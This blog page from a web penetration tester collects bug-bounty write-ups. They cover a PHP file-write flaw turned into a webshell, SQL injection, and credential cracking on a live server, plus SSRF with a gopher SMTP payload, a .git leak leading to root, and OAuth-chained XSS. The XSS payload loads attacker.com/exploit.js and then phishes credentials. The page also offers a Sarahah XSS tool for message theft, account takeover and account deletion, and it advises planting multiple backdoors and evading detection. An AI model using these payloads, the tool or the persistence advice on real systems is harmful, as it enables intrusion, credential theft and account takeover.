• Twitter
  • Facebook
  • Youtube

About me

Let me introduce myself

A bit about me

Shawar Khan is an Ethical Hacker & Security Researcher from Pakistan.

With over 3 years of experience in cyber security, Shawar Khan identified major security flaws in world's well known companies. This includes Google, Microsoft, PayPal, Apple and many others. Over 100s of Halls of Fame and Certificates were rewarded as a token of appreciation from these companies. In spare time, Shawar used to develope exploits and web-app penetration testing tools. Some of them are BruteXSS & D-TECT.


Shawar Khan

Personal info

Shawar Khan

A Web Application Penetration Tester and Security Researcher.

Skills & Things about me

Web Application
Penetration Testing
Mobile App
Penetration Testing
Exploit Writing


My recent research work

Friday, June 1, 2018

Getting PHP Code Execution and leverage access to panels,databases,server

Greetings everyone,

This is Shawar Khan and it's been a while since my last write-up and i wasn't able to do some write-ups due to some reasons so today i decided to do a write-up on one my recent discovery and my approach using which i was able to get read,write access on a server plus i got access to their panels and database as well.

So, lets get started.

Taking the initial steps:

Let the company be Redacted.com, the first approach was to map the target application in order to get a clear view of the target surface. Fired up some enumerators,scrappers and stuff so i can get all the public subdomains of target application but there wasn't much subdomains found and most of them were static so i moved on to Host discovery phase in which applications like Shodan & Censys plays their role.

A quick search by domain name on Censys and found the following host:

Alright, then i had a subdomain server1.redacted.com which returned the following contents when visited over http:

They were using LiteSpeed server and returned a 403 Forbidden error. Means that we were not allowed to access the main page so in these kind of cases all we need to do is the enumeration of their files and directories places to get a proper map of the application. By simply applying google dorks and search on some engines i found that this subdomain was not indexed and nothing returned any kind of contents that i can make use of.

What now? Enumerators right?

I fired up dirb, dirsearch and some other magical tools with some custom wordlists and stuff and found that the server blocked the IP after every 10 requests, i could add some delays and use some proxies to bypass this IP based protection but that won't do the trick as we had to do an intense enumeration over that target so that won't be the trick.

Going though a different path:

So as everything had failed such as tools,search engines and areas having public info the only way left was to check for their snapshots and sitemap that was cached by wayback(archive.org) web archive. This trick worked every time for my and mostly got backups and stuff on servers when there is a deadend like this one.

So, a simply request to cdx endpoint of wayback web archive with the specified domain we got the following results:

So, got something that i can make use of somehow. There were 2 files which exists, the GetAndroid.php returned nothing but a blank page but when accessed files.php it returned some PHP errors as error_reporting was turned on:
The error returned contains the server path and the username but which seems interesting was the error that was undefined index. That simply mean't it was using a specific index which was not passed which in this case was the url parameter. So i tried to pass the new parameter with some random value and the following was the response:

Now this is where the fun part starts! The server returned an error message which was having another index missing this time it was a data parameter. But the thing that caught my attention was the warning that said file_get_contents(woot): failed to open stream: No such file or directory!

Yes! My input which i gave to url parameter was directly passed to the file_get_contents function of PHP which is used to retrieve contents of a given file. Before moving further lets take a quick note of the functionality of files.php:

1. There were 2 parameters ( url , data )
2. url parameter was loading the content using file_get_contents
3. data parameter was also added to the content that was ready to made
4. The content is then uploaded to another domain in the extension that we choosed

If we input url=woot.txt , a file such was random-num_woot.txt will be created and it will have the contents of the file that was given in url parameter. So i tried making a request with the following params:


and got a file uploaded on http://sub1.redacted.com/wafiles/randomnum_etc_passwd.txt
i tried to open it and it was having the following content:

and bingo! i was able to read the password file. Now the interesting part was that it was loading local files and then it was uploading the local file on another domains so it loaded the contents of passwd file on their separate subdomain which i was able to access.

Note the random numbers after | at the end of the file, that is where the input of "data" parameter is reflected. So that means we are able to create any extension on the domain and able to inject any content. I tried creating a php file with an echo command using the following data:

http://sub.redacted.com/files.php?url=file.php&data=<?php echo 1337; ?>

and a php file was created as 32142410_file.php and upon opening it returned 1337 which means my echo command was successfully executed! Sadly i was not able to execute any kind of system command by any mean as they were disabled. So instead of making a file with content and opening it again i simply uploaded a php code with file_get_contents() and the following was the data:

 http://sub.redacted.com/files.php?url=s1.php&data=<?php $fsss=file_get_contents($_GET['file'],true);echo $fsss; ?>

This will simply return the content of filename that i will provide as value of file parameter and i got the following response from files.php:
accessing the newly uploaded file with data=/etc/passwd i got the following:

 Now we got a pretty quick way to read contents of files. I uploaded another code using which i was able to get list of files in a specific directories so i can get a better view of what exists on the server:

Next using both files i started downloading sourcecodes of different PHP files,config files,logs and stuff and kept testing if i could bypass their security and able to execute codes. But after hours spending on the site i decided to retest it on the next day.

The Next Day

So, i tried to upload the code again as the previous code got deleted and upon making a request to "files.php" i got the following response:

and sadly, the files.php was modified and their firewall was given a new signature that was blocking every malicious payload sent and i was no more able to create custom executable extensions such as php. So, a patch was deployed!

Dead end?

I thought i should give up as there was nothing i could do to read files or to gain access as this was the only known way but later i remembered that i downloaded source codes of different files. So i tried to analyze their sourcecode of phpfiles to see if i can find any vulnerabilities. There were hundreds of files and checking each one by one was not the solution so i tried to search code snippets having a specific keyword such as "mysql_query" as using that we can see if any code executing a SQL query is vulnerable to SQL Injection or not.

I used the command: grep -r 'mysql_query' ./*.php | grep '$_' 

and i found that a file sms.php on the main domain was having some protection missing on "number" parameters. 

Seems like the developer really knew to protect against these kind of attacks by using mysql_real_escape_string as we can see on line 155 but as human make mistakes, the developer forgot to filter input on line 140 and it is directly passed to the query.

In order to reach the execution flow we have to first pass a 'do' parameter having a value 'GetNumber' then we have to pass another parameter 'key' having our payload:

i got the error:  MySQL Error 1064: You have an error in your SQL syntax

So i fired up sqlmap to get the work done quickly but after 10 requests it got blocked so manual was the only way to exploit it. I manually exploited the vulnerability and i was able to grab passwords from their database:
i dumped credentials for 10 of their staff members:

Hashed passwords :| , They were md5 so i was able to easily crack them using hashkiller:

Boom! Plain text passwords for 7 users and one of them was administrator! 
While having  read/write access using files.php i reconfigured some .htaccess files on admin panels as they were having some HTTP based protection so i modified them and accessed admin panels. The panel next asked for credentials that i got via SQLI and i was able to login:
Due to my initial steps that i quickly took when had access i accessed the panel. Because first there was HTTP based protection and is was having IP based restrictions, i modified the htaccess to my ip can access the panel, next i found the password via SQLI which i found from sourcecodes that i downloaded from initial vulnerability.

What did we learned?

Suppose we got read access on a server, the first thing that we always should do is to download the sourcecodes of their internal files, we can find many juicy information from there such as credentials,panel passwords,and vulnerabilities. Next thing is that if we are uploading backdoors, make sure to backdoor something which is not commonly removed so keep multiple instances of your backdoors. By the way, the SQLI was fixed right after i accessed the panel so that was a quick move! You always have to be a quick one because everything should be done in time else your moves can be detected. So this was my discovery and approach on my recent target, kindly let me know in the comments if you love this write up and if it helped you.

Things we achieved:

PHP Code execution
Read/Write access on server
Panel Access
Database Access
and many more.


Monday, May 21, 2018

Getting read access on Edmodo Production Server by exploiting SSRF

Hey Mates!
This is Mustafa Khan, Two weeks back I was planing to hunt some bounty sites to get some $$ but had some private programs and most of them seems to be secured and most of the researchers hunted it before me so had zero luck. 😞
Since I was disappointed and got bored so I thought to retest The Great Edmodo. while scanning for subdomains I got some interesting subdomains and starting to explore it. While checking each of the subdomains I chose my target which was Edmodo.

In this writeup I am going to disclose my recent finding of Edmodo. I found an SSRF vulnerability by exploiting which i was able to gain Read-access on their production server.

While exploring their services and subdomains I came across a subdomain ‘partnerships.edmodo.com’. This domain was having a registration area where publishers can register by submitting a form. The site was basically using Wordpress CMS and I tested it accordingly but wasn’t able to exploit the CMS as it was using the latest and secure version. So I turned on my interception proxy(Burp suite) and monitored each and every request and found that while writing data to the form a POST request was being sent to the following URL:


Seems like the form-proxy.php was somehow sending data to the file ajax-check-in-db, I tried replacing ‘url’ parameters value to http://my-ip-address and I was able to get a GET request to my server! Next I tried using but that didn’t worked! So I tried using ‘localhost’ and http://localhost:22 returned the following response:


Alright, so that was a negative response, I tried to see if SMTP service was enabled so I used http://localhost:25 and got the following response:

{“status”:{“http_code”:0},”contents”:”200 pod-200279 ESMTP Postfix (Ubuntu)\r\n221 2.7.0 Error: I can break rules, too. Goodbye.\r\n”}

Bingo! I was able to grab the SMTP banner! Now I was able to do an internal port scan using this SSRF vulnerability. I used burpsuite intruder in order to find other ports by including a range of ports and had a different response for open ports. I was able to grab banners of FTP,SSH and some other services as well.

Alright, now what next?

After that i ran another burp intruder and detected different schemes being used i found many of them were enabled and the most interesting one was the Gopher. As we know SMTP can be exploited if we have Gopher protocol enabled so I tried to check if gopher is enabled and it was enabled! There were other schemes available as well such as ftp and some other.

Now the next thing was, I have to inject CRLF and new line characters and have to pass my arguments to SMTP service via Gopher protocol. Using gopher protocol we are able to communicate with these kind of services so I created a PHP file on my server having the following code:

        $commands = array(
                ‘HELLO victim.com’,
                ‘MAIL FROM: <admin@edmodo.com>’,
                ‘RCPT To: <MYEMAIL@gmail.com>’,
                ‘Subject: WOOT’,
                ‘woot woot! Edmodo PWNED 😛’,

        $payload = implode(‘%0A’, $commands);

        header(‘Location: gopher://0:25/_'.$payload);

after setting the url parameter to the path of my PHP file i was able to redirect the vulnerable application to the Gopher scheme having my payload and i was able to communicate with the SMTP service! I was able to receive email from admin@edmodo.com ! Using this I was able to send emails from their server!

Now here comes the interesting part. The ‘file’ scheme was also available using which I was able to read files on their server. I tried accessing file:///etc/hosts and I was able to get the content of hosts file:

But when I tried file:///etc/passwd it returned an Error, there might be some kind of firewall detecting the signature. Kudos to Eric! I used a ‘./‘ as Eric told me and the final Url was file:///etc/./passwd and I was able to get the content of passed file!

Now we got read access over their production server! I was able to read any file of their server plus i was able to communicate with their internal hosts, do internal port scans, make requests from server and many other things!

Bundles of thanks to the following Good friends of mine for helping me out to take this bug to the next level. {Shawar Khan, Zain Sabahat, Eric johnson}

Thursday, October 5, 2017

Remote Code Execution - From Recon to Root!

Greetings everyone! This is Shawar Khan and today i'm going to share one of my recent findings. I'll show you how proper recon can lead to code execution. Recon and information gathering is an important part of penetration testing as knowing your target gives you more areas to attack.

So, a friend of mine gave me an IP address which was having an Admin Panel for test. After pentesting the panel, i knew that it was not bypassable and every layer was properly protected. There was no info available about the IP address, so a quick file enumeration!

nothing interesting found, but a '.git' directory!

Alright, so '.git' contains a 'config' file where we can find the repository from where the files were cloned, sometimes we can find passwords for a password-protected repository in 'config'!

Unlucky... No credentials found. The next thing to check was to see if the .git directory is having directory listing or not. If there is directory listing, we are able to clone all the files include objects:
 and Yes!
and Directory Listing was enabled which means we can download all the files and can run git status to get paths of all the files available on apache. Using the following command i cloned the files:

wget -m -I .git http://IP/.git/

cloned the files and then 'git status'

found '3398' files!
Some 'xlsx' files having data of Users!

Accessed the files and got the data!

interesting that the git status command was showing files as removed but they were available. This was not the end, found an interesting file:
Backup files! One file was having entire user data and the other tar file was having the backup of all files on the web. So now i was having access to source code!

Now it was time for a code review of those files but wasn't crazy enough to review all of them as i was excited to gather some more interesting stuff. Did a quick grep to see if i can anything related to SSH:

grep /PATH/ -rnw -e 'ssh'

and i was amazed to see what i found in a PHP file:

Got SSH & Git Password! Time for SSH:

Server access with Root Privileges! That's the End ;)
Some more critical issues and another RCE was identified via code review but i guess this is the most interesting one among them.

The vulnerability was reported and the fix is now deployed.

Polish up Recon skills and you'll get what no one else could!
Good Luck and Thanks for watching. Please share if you love this write-up.

Wednesday, September 20, 2017

Exploiting multiple Self XSSes via OAuth misconfiguration

Greetings everyone this is Shawar Khan and today i am going to share one of my recent findings. Most of you have already heard about XSS attacks, basically it's an attacker where an attacker is able to execute javascript commands on a specific web application. There are some cases where an XSS vulnerability doesn't cause risk due to limited exploitation scenarios.

Recently, i've discovered some XSS vulnerabilities which were marked as Self-XSSes as they were not exploitable by a remote attacker, these were further exploited due to which the issue was accepted. I'm going to share how i was able to exploit those self XSS vulnerabilities using some techniques and chaining. Always demonstrate the attack to the company you are reporting, else it won't demonstrate the actual risk. An XSS vulnerability cause high impact if it's remotely exploitable so i will share some scenarios which i faced and will show you how i was able to make them exploitable.

Self XSS Exploitation via DropBox with OAuth Misconfiguration

So, the actual scenario was that the site was having a functionality/mechanism that allows a user to transfer files between Dropbox & the Company Account. 
  After logging in with Dropbox, the dropbox section shows all the files of Dropbox account. Obviously it shows the file names as well, what i did was i uploaded a file having the XSS payload as filename to Dropbox.
As the file name was reflecting in the dropbox section, this would execute the payload and the interesting thing is tags except img were properly filtered but failed to filter img. Blacklisting maybe?

Anyways, got the JS code executed when the file name was shown.

Code executed but nothing but a self XSS. In order to reproduce this issue the a user has to do the following steps:

  1. Upload file having payload to Dropbox
  2. Login with Dropbox account having the Payload
 Now we can't ask a user to upload a file and do that stuff. The payload only executes when the account is logged in. What if we upload the file in our dropbox account and then make a user login?

Obviously, that would do the trick!
We can't do the login CSRF but we can somehow make the user login via Oauth. First a user is sent to dropbox to authorize the application, afterwards the user is redirected to the application with a auth token. If the user is having the auth token, the user will be logged in.

After clicking the Login button a request is sent to https://www.dropbox.com/oauth2/authorize?response_type=code&client_id={Client_ID}&redirect_uri=https://site.com/path/to/api/oauth  

After allowing permissions to application, we are redirect to
https://site.com/path/to/api/oauth having an auth token and the following request is sent.

GET /path/to/api/oauth?code={TOKEN_HERE} HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.dropbox.com
Cookie: _ga=[removed]; io=[removed]; session=[removed]; session.sig=[removed]
Connection: close

The request sent back to redirect URL was not having any kind of token for validating the request which made it vulnerable to CSRF, we can make a login using that URL. So due to the misconfiguration we are able to make someone log into our dropbox account and view our files. That's it!

By sending a URL like 'https://site.com/path/to/api/oauth?code={TOKEN_HERE}'  to victim, we are able to make the victim log into our account and after login the user will be able to see our files and if our files contains the payload, it will be executed! So simply sending the URL having oauth url will trigger the XSS and that's how we made it exploitable!

and btw, who really cares about an "alert(1)"?

Demonstrated the impact by creating a phisher having the malicious credentials capturer. I used the following payload and used 'eval' and 'atob' with a base64 code to load an external '.js' file having a malicious code:

var payload1 = document.createElement('script');

Final Payload: "><img src=x onerror=eval(atob('dmFyIHBheWxvYWQxID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7CnBheWxvYWQxLnNldEF0dHJpYnV0ZSgnc3JjJywnaHR0cHM6Ly9hdHRhY2tlci5jb20vZXhwbG9pdC5qcycpOwpkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHBheWxvYWQxKTsn'))>.png

The payload loads an 'exploit.js' file which opens a trusted URL ( 'https://trusted-domain.com' ) and then replaces the page content with a phisher after 5 seconds:
sourcecode = "SOURCE CODE IN Base64";
exploitwindow = window.open('https://site.com/','','width=500,height=500');
setTimeout(function () {exploitwindow.document.write(atob(sourcecode));},5000); 

and that's it, XSSed and got the creds:

Using the same technique i was able to XSS via 5 different services like Dropbox.

If you like this write-up, Share!

Monday, September 4, 2017

Gathering employees information by capturing GUIDs

Hi everyone, this is Shawar Khan and today i am going to share one of my recent discovery in a famous tech giant. I will keep the company name private as they are not allowing any kind of disclosure related to their company so i will use REDACTED.com instead of the company domain.

So, i got an invitation to a program and started hunting it. The first thing before starting the actual test i do is to gathering information about the target, always make sure to test areas that are less explored.

Got around 2000 subdomains of the web applications by gathering information about it from different sources and by using tools like sublister. Afterwards, i performed a mass information gathering nmap script that i recently coded and i got many files having sensitive information on the subdomains but as this write-up is limited to the GUID issue so i will show you the file i got. Nmap http-enum NSE script discovered a test.html file on of of the subdomain with nmap:

It is always best to enumerate files in order to find something that the developers left on the server. Sometimes you can find functionalities in files that will give you access to password protected areas and sometimes you will get access to sensitive areas.

So, i accessed the server on port 443 and viewed test.html and got the following contents:

The file was some kind of redirection page which redirects the user to a password protected panel. It was having an input area which takes some kind of number and when submitted, redirects the user to https://subdomain.REDACTED.com/REDACTED-partner-gateway/initiate. Was not having any info about what it was made for and how it works. After checking the source i found something interesting. When the submit button is clicked, a submitForm() javascript function is executed:

and here is the javascript code that i found in the source code:

In the above code you can clearly see what the submitForm() function does. The functions grabs the value which we enter in the input field and places it in as GUID key's value in the following JSON template:

{"accountInfo":{"accountId":"REDACTED-dev1"},"campaignInfo":{},"pageInfo":{"localizedName":"Sign+In","logicalName":"Sign+In","errorMessage":"","loginMessage":"Normal+Login"},"userInfo":{"guid":"EIDM NUM HERE","language":"ENU","country":"US"}}

the whole value is base64 encoded afterwards and then it is set as the value of subportal-tracking-service cookie. So, the cookie is holding a base64 value, next what the function does is it redirects the user to https://subdomain.REDACTED.com/REDACTED-partner-gateway/initiate

After the redirection, 3 requests are sent to the server. The interesting one is the 3rd request:

POST /REDACTED-partner-gateway/loading HTTP/1.1
Host: subdomain.REDACTED.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/JSON
X-Requested-With: XMLHttpRequest
Cookie: subportal-tracking-service=eyJhY2NvdW50SW5mbyI6eyJhY2NvdW50SWQiOiJSRURBQ1RFRC1kZXYxIn0sImNhbXBhaWduSW5mbyI6e30sInBhZ2VJbmZvIjp7ImxvY2FsaXplZE5hbWUiOiJTaWduK0luIiwibG9naWNhbE5hbWUiOiJTaWduK0luIiwiZXJyb3JNZXNzYWdlIjoiIiwibG9naW5NZXNzYWdlIjoiTm9ybWFsK0xvZ2luIn0sInVzZXJJbmZvIjp7Imd1aWQiOiIxMTExMTEiLCJsYW5ndWFnZSI6IkVOVSIsImNvdW50cnkiOiJVUyJ9fQ==;
Connection: close
Content-Length: 0

a POST request is sent to a loading endpoint which returns the following response:
HTTP/1.1 200 OK
Date: Mon, 04 Sep 2017 16:16:53 GMT
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 42
Connection: close


the response is a JSON string having a 'url' key value. This is an invalid response which means if we enter an invalid GUID key, we get this response. Now here comes the interesting part, the javascript code above the submitForm() function contains multiple commented base64 strings:

String 1: eyJhY2NvdW50SW5mbyI6eyJhY2NvdW50SWQiOiJSRURBQ1RFRC1kZXYxIn0sImNhbXBhaWduSW5mbyI6e30sInBhZ2VJbmZvIjp7ImxvY2FsaXplZE5hbWUiOiJTaWduK0luIiwibG9naWNhbE5hbWUiOiJTaWduK0luIiwiZXJyb3JNZXNzYWdlIjoiIiwibG9naW5NZXNzYWdlIjoiTm9ybWFsK0xvZ2luIn0sInVzZXJJbmZvIjp7Imd1aWQiOiIyMDE0MTEyNjE3MzU3ODYiLCJsYW5ndWFnZSI6IkVOVSIsImNvdW50cnkiOiJVUyJ9fQ==

String 2: eyJhY2NvdW50SW5mbyI6eyJhY2NvdW50SWQiOiJSRURBQ1RFRC1kZXYxIn0sImNhbXBhaWduSW5mbyI6e30sInBhZ2VJbmZvIjp7ImxvY2FsaXplZE5hbWUiOiJTaWduK0luIiwibG9naWNhbE5hbWUiOiJTaWduK0luIiwiZXJyb3JNZXNzYWdlIjoiIiwibG9naW5NZXNzYWdlIjoiTm9ybWFsK0xvZ2luIn0sInVzZXJJbmZvIjp7Imd1aWQiOiIyMDE2MDYyOTA2NTI2MTEiLCJsYW5ndWFnZSI6IkVOVSIsImNvdW50cnkiOiJVUyJ9fQ==

String 3: eyJhY2NvdW50SW5mbyI6eyJhY2NvdW50SWQiOiJSRURBQ1RFRC1kZXYxIn0sImNhbXBhaWduSW5mbyI6e30sInBhZ2VJbmZvIjp7ImxvY2FsaXplZE5hbWUiOiJTaWduK0luIiwibG9naWNhbE5hbWUiOiJTaWduK0luIiwiZXJyb3JNZXNzYWdlIjoiIiwibG9naW5NZXNzYWdlIjoiTm9ybWFsK0xvZ2luIn0sInVzZXJJbmZvIjp7Imd1aWQiOiIxMTI0MzQ3Njc1MjA3MDciLCJsYW5ndWFnZSI6IkVOVSIsImNvdW50cnkiOiJVUyJ9fQ==

which are having the following JSON strings if base64 decoded:

String 1: {"accountInfo":{"accountId":"REDACTED-dev1"},"campaignInfo":{},"pageInfo":{"localizedName":"Sign+In","logicalName":"Sign+In","errorMessage":"","loginMessage":"Normal+Login"},"userInfo":{"guid":"201411261735786","language":"ENU","country":"US"}}

String 2: {"accountInfo":{"accountId":"REDACTED-dev1"},"campaignInfo":{},"pageInfo":{"localizedName":"Sign+In","logicalName":"Sign+In","errorMessage":"","loginMessage":"Normal+Login"},"userInfo":{"guid":"201606290652611","language":"ENU","country":"US"}}

String 3: {"accountInfo":{"accountId":"REDACTED-dev1"},"campaignInfo":{},"pageInfo":{"localizedName":"Sign+In","logicalName":"Sign+In","errorMessage":"","loginMessage":"Normal+Login"},"userInfo":{"guid":"112434767520707","language":"ENU","country":"US"}}

from the decoded values we got the following GUIDs:

1. 201411261735786
2. 201606290652611
3. 112434767520707

These are the GUIDs which works as unique identifier. If the cookies contains a valid employee GUID, it responds with a JSON data having all information about the specific employee. As we got the GUIDs of some emloyees we can now get their data.

We can directly use the base64 encoded strings as cookies that we found in the javascript code or we can just enter the GUID in the input field of test.html file. We will send the following POST request having a valid cookie with valid GUID inside:

POST /REDACTED-partner-gateway/loading HTTP/1.1
Host: subdomain.REDACTED.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/JSON
X-Requested-With: XMLHttpRequest
Cookie:  subportal-tracking-service=eyJhY2NvdW50SW5mbyI6eyJhY2NvdW50SWQiOiJhdXRvZGVzay1kZXYxIn0sImNhbXBhaWduSW5mbyI6e30sInBhZ2VJbmZvIjp7ImxvY2FsaXplZE5hbWUiOiJTaWduK0luIiwibG9naWNhbE5hbWUiOiJTaWduK0luIiwiZXJyb3JNZXNzYWdlIjoiIiwibG9naW5NZXNzYWdlIjoiTm9ybWFsK0xvZ2luIn0sInVzZXJJbmZvIjp7Imd1aWQiOiIyMDE2MDYyOTA2NTI2MTEiLCJsYW5ndWFnZSI6IkVOVSIsImNvdW50cnkiOiJVUyJ9fQ==; 
Connection: close
Content-Length: 0

and we will get the JSON data in response:

Then i used python to parse the data properly, and used the following code:

And got this data:

So, Thats it! Got the information, just be knowing the GUID, we can get information of the employees. The issue was reported and is under fix.

Never forget to review the source code

If you love this writeup, Share! :) 

Saturday, August 19, 2017

Sarahah XSS Exploitation Tool - Compromising Sarahah Users.

Disclaimer: This tool is built to demonstrate XSS vulnerability in Sarahah's web application that was pre-identified. I'm not responsible for any damage done using this tool as it's only built for educational purposes.

Note: Exploit Codes are included again as the Vulnerability is now Fixed.

Hello everyone, this is Shawar Khan and it's been a long time since my last write-up. Today i'm going to release one of my recently coded script that i coded for demonstrating the XSS vulnerability that was identified in Sarahah.

First i'd like to thank "Ronnie" for letting me know about the issue, you can find the article here.

The article demonstrates the XSS vulnerability in Sarahah in a proper way. According to the article, the XSS vulnerability is caused due to insecure reflection of message when new messages are loaded. New messages are not properly filtered which causes the issue. For example a user submitted a simple <script>alert(1)</script> , the payload will be executed if the message is loaded on the next page after scrolling down. 

 Sometimes an 'alert(1)' isn't enough to demonstrate :)

But wait, 
just an alert(1) isn't enough to demonstrate the issue right? Many hackers and beginners think XSS is limited to alert(1) or just a prompt dialogue. So i decided to change this concept and coded the Exploitation Script:

The script is able to perform the following actions:
  • Messages Capture
  • Email Change
  • Account Deletion

How does it works?

Basically, i've coded multiple exploits for each of the action in javascript. This python script actually injects the payload in a target account and then floods the user with around 20 messages so the payload gets into the vulnerable area and executes on scroll.

The tool submits a script tag having eval with atob in order to bypass any protection deployed. The base64 encoded exploit code executes when passed through eval. The site returns an Error if the message contains any '.' character and that is used to deny any message having a link or domain. The protection can be bypassed by encoding the payload into Base64 and passing it into atob with eval. So the template is like:


The site has implemented multiple protection mechanisms that the tool properly bypasses. The scripts loads multiple proxies and submits the exploit code from a different IP address to bypass IP based limitations. This slows down the performance but does the job.

Exploit Codes:

All the XSS exploits i've coded for Sarahah is available on my Github

Account Deletion Exploit Code

Once the exploit code is loaded into the web application, a new invisible iframe element is created which loads the account deletion page in it. Afterwards, the page is submitted using javascript which deletes the account instantly. Due to lack of Click Jacking protection, we can interact with elements inside the iframe due to which we can delete the account.

Email Change / Account Takeover Exploit Code

This is another exploit and it's high in impact it takes over user's account instantly. Once the coded is loaded the exploits loads the settings page in iframe and changes the value of email form field with the once provided by the exploit and submits the page and the email is change. Once the email is changed the user can request a password reset link to the new email and can takeover the account. This code for this is similar to the account deletion code as they works in a same way.

Account Message Read and Capture

This is the best one of these exploits, this exploit goes through all the messages and captures them. Once the code is loaded, the code goes through every page having messages at '/Messages/GetReceivedMessagePage?page='. If requested with a specific page number, returns messages in JSON object form. The response is captured and is sent to a specified logger which is hosted by an attacker. The logger reads and parses the messages and returns them in valid form.

Setting up your system before exploitation:

Modules Required  

  • requests
  • urllib3
  • urllib
  • urllib2
  • ssl
  • glob
  • cookielib
  • bs4 or BeautifulSoup

Before using, make sure you have done the followings: 

  • CORS should be enabled
  • Logger(log.php) should be publicly accessible
  • Your IP or domain where files are hosted should have SSL deployed
  • Victim should be not be an app user


Exploit in Action!

So, each of the exploit is submitted in a way the web application can deny as the code inside is base64 encoded and will not be removed. The coded is then loaded by creating a new script element having source of exploit code available on github. 

Victim's Messages captured by Sarahah XSS Exploitation Script

Generating and Injecting Payload to victim's account


The following is the video of Sarahah XSS Exploitation Tool's Demonstration:

Want the Script?

I've uploaded the script on my Github so you guys can use it. It's available Here.


$ git clone https://github.com/shawarkhanethicalhacker/Sarahah-XSS-Exploit/
$ cd Sarahah-XSS-Exploit
$ python sarahah.py

One last thing, want to protect yourself?

This XSS vulnerability affects the user when the user is using Browser. If the user is using mobile application for android or IOS, he won't be affected as it's properly protected there. So if you want to prevent yourself from getting hacked, use Sarahah's Mobile Application.


What can I do

Web-App Penetration Testing

Provides a complete Penetration Test against the web application in order ensure its safety.

Android App Penetration Testing

Provides Android Application Penetration Testing in order to make the app & secure.

iOS App Penetration Testing

Provides iOS Application Penetration Testing in order to make the app & secure.

Want my services?

Get in touch with me